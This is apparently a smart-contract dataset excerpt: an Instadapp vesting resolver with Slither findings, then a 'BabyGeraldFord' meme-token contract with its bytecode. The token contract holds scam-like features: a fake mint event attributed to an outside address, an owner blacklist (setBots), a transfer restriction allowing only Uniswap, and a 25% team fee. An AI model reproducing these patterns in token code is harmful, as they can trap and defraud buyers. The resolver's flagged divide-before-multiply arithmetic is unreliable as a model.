function delegate(address delegatee) external;
function transfer(address dst, uint rawAmount) external returns (bool);
}
interface InstaVestingInferface {
function owner() external view returns(address);
function recipient() external view returns(address);
function vestingAmount() external view returns(uint256);
function vestingBegin() external view returns(uint32);
function vestingCliff() external view returns(uint32);
function vestingEnd() external view returns(uint32);
function lastUpdate() external view returns(uint32);
function terminateTime() external view returns(uint32);
}
interface InstaVestingFactoryInterface {
function recipients(address) external view returns(address);
}
contract InstaTokenVestingResolver {
using SafeMath for uint256;
TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb);
// InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a);
InstaVestingFactoryInterface public immutable factory;
constructor(address factory_) {
factory = InstaVestingFactoryInterface(factory_);
}
struct VestingData {
address recipient;
address vesting;
address owner;
uint256 vestingAmount;
uint256 vestingBegin;
uint256 vestingCliff;
uint256 vestingEnd;
uint256 lastClaimed;
uint256 terminatedTime;
uint256 vestedAmount;
uint256 unvestedAmount;
uint256 claimedAmount;
uint256 claimableAmount;
}
function getVestingByRecipient(address recipient) external view returns(VestingData memory vestingData) {
address vestingAddr = factory.recipients(recipient);
return getVesting(vestingAddr);
}
function getVesting(address vesting) public view returns(VestingData memory vestingData) {
if (vesting == address(0)) return vestingData;
InstaVestingInferface VestingContract = InstaVestingInferface(vesting);
uint256 vestingBegin = uint256(VestingContract.vestingBegin());
uint256 vestingEnd = uint256(VestingContract.vestingEnd());
uint256 vestingCliff = uint256(VestingContract.vestingCliff());
uint256 vestingAmount = VestingContract.vestingAmount();
uint256 lastUpdate = uint256(VestingContract.lastUpdate());
uint256 terminatedTime = uint256(VestingContract.terminateTime());
uint256 claimedAmount;
uint256 claimableAmount;
uint256 vestedAmount;
uint256 unvestedAmount;
if (block.timestamp > vestingCliff) {
uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime;
vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin);
unvestedAmount = vestingAmount.sub(vestedAmount);
claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin);
claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin);
}
vestingData = VestingData({
recipient: VestingContract.recipient(),
owner: VestingContract.owner(),
vesting: vesting,
vestingAmount: vestingAmount,
vestingBegin: vestingBegin,
vestingCliff: vestingCliff,
vestingEnd: vestingEnd,
lastClaimed: lastUpdate,
terminatedTime: terminatedTime,
vestedAmount: vestedAmount,
unvestedAmount: unvestedAmount,
claimedAmount: claimedAmount,
claimableAmount: claimableAmount
});
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367c61b8e14610051578063c45a01551461007a578063cc49ede71461008f578063fc0c546a146100a2575b600080fd5b61006461005f36600461079a565b6100aa565b60405161007191906108de565b60405180910390f35b610082610165565b604051610071919061081b565b61006461009d36600461079a565b610189565b610082610659565b6100b2610717565b6040516375c1018960e11b81526000906001600160a01b037f0000000000000000000000003730d9b06bc23fd2e2f84f1202a7e80815dd054a169063eb8203129061010190869060040161081b565b60206040518083038186803b15801561011957600080fd5b505afa15801561012d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061015191906107b6565b905061015c81610189565b9150505b919050565b7f0000000000000000000000003730d9b06bc23fd2e2f84f1202a7e80815dd054a81565b610191610717565b6001600160a01b0382166101a457610160565b60008290506000816001600160a01b031663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e457600080fd5b505afa1580156101f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021c91906107ea565b63ffffffff1690506000826001600160a01b03166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561025f57600080fd5b505afa158015610273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029791906107ea565b63ffffffff1690506000836001600160a01b031663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b1580156102da57600080fd5b505afa1580156102ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031291906107ea565b63ffffffff1690506000846001600160a01b031662728f766040518163ffffffff1660e01b815260040160206040518083038186803b15801561035457600080fd5b505afa158015610368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061038c91906107d2565b90506000856001600160a01b031663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b1580156103c957600080fd5b505afa1580156103dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040191906107ea565b63ffffffff1690506000866001600160a01b03166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c91906107ea565b63ffffffff169050600080600080874211156104f457600085156104a057856104a2565b425b90506104bc8b8b036104b68a8e8503610671565b906106bd565b92506104c888846106ef565b91506104dc8b8b036104b68a8a8503610671565b93506104f08b8b036104b6858e8503610671565b9450505b604051806101a001604052808c6001600160a01b03166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b15801561053957600080fd5b505afa15801561054d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057191906107b6565b6001600160a01b031681526020018e6001600160a01b031681526020018c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906107b6565b6001600160a01b031681526020018881526020018b81526020018981526020018a8152602001878152602001868152602001838152602001828152602001858152602001848152509b505050505050505050505050919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b600082610680575060006106b7565b8282028284828161068d57fe5b04146106b45760405162461bcd60e51b81526004016106ab9061089d565b60405180910390fd5b90505b92915050565b60008082116106de5760405162461bcd60e51b81526004016106ab90610866565b8183816106e757fe5b049392505050565b6000828211156107115760405162461bcd60e51b81526004016106ab9061082f565b50900390565b604051806101a0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6000602082840312156107ab578081fd5b81356106b48161098c565b6000602082840312156107c7578081fd5b81516106b48161098c565b6000602082840312156107e3578081fd5b5051919050565b6000602082840312156107fb578081fd5b815163ffffffff811681146106b4578182fd5b6001600160a01b03169052565b6001600160a01b0391909116815260200190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60006101a0820190506108f282845161080e565b6020830151610904602084018261080e565b506040830151610917604084018261080e565b50606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151818401525061014080840151818401525061016080840151818401525061018080840151818401525092915050565b6001600160a01b03811681146109a157600080fd5b5056fea2646970667358221220e9b50492708e1a22dd3f6debbd17dc891d4a858ea4c964c33cd63323db0f78b364736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 1,963 |
0xc18657c2ad68d65c3a78ddb5d6a0f4560d5dfa2d | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyGeraldFord is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyGeraldFord | t.me/BabyGeraldFord";
string private constant _symbol = "BabyGFord";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612965565b610441565b6040516101789190612e43565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613000565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612912565b610470565b6040516101e09190612e43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612878565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190613075565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612878565b610766565b6040516102b19190613000565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d75565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612965565b610970565b60405161035b9190612e43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129a5565b61098e565b005b34801561039957600080fd5b506103a2610ab8565b005b3480156103b057600080fd5b506103b9610b32565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a48565b61108f565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128d2565b6111d8565b6040516104189190613000565b60405180910390f35b606060405180606001604052806024815260200161377c60249139905090565b600061045561044e61125f565b8484611267565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611432565b61053e8461048961125f565b610539856040518060600160405280602881526020016137a060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef61125f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf19092919063ffffffff16565b611267565b600190509392505050565b61055161125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f40565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f40565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073561125f565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c55565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d50565b9050919050565b6107bf61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4261627947466f72640000000000000000000000000000000000000000000000815250905090565b600061098461097d61125f565b8484611432565b6001905092915050565b61099661125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f40565b60405180910390fd5b60005b8151811015610ab4576001600a6000848481518110610a4857610a476133bd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aac90613316565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af961125f565b73ffffffffffffffffffffffffffffffffffffffff1614610b1957600080fd5b6000610b2430610766565b9050610b2f81611dbe565b50565b610b3a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f40565b60405180910390fd5b600f60149054906101000a900460ff1615610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612fc0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611267565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ced57600080fd5b505afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906128a5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8757600080fd5b505afa158015610d9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbf91906128a5565b6040518363ffffffff1660e01b8152600401610ddc929190612d90565b602060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e91906128a5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb730610766565b600080610ec261090a565b426040518863ffffffff1660e01b8152600401610ee496959493929190612de2565b6060604051808303818588803b158015610efd57600080fd5b505af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f369190612a75565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611039929190612db9565b602060405180830381600087803b15801561105357600080fd5b505af1158015611067573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108b9190612a1b565b5050565b61109761125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b90612f40565b60405180910390fd5b60008111611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f00565b60405180910390fd5b611196606461118883683635c9adc5dea0000061204690919063ffffffff16565b6120c190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cd9190613000565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ce90612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612ec0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114259190613000565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149990612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990612e80565b60405180910390fd5b60008111611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f60565b60405180910390fd5b61155d61090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115cb575061159b61090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2e57600f60179054906101000a900460ff16156117fe573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fd57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174761125f565b73ffffffffffffffffffffffffffffffffffffffff1614806117bd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a561125f565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f390612fe0565b60405180910390fd5b5b5b60105481111561180d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff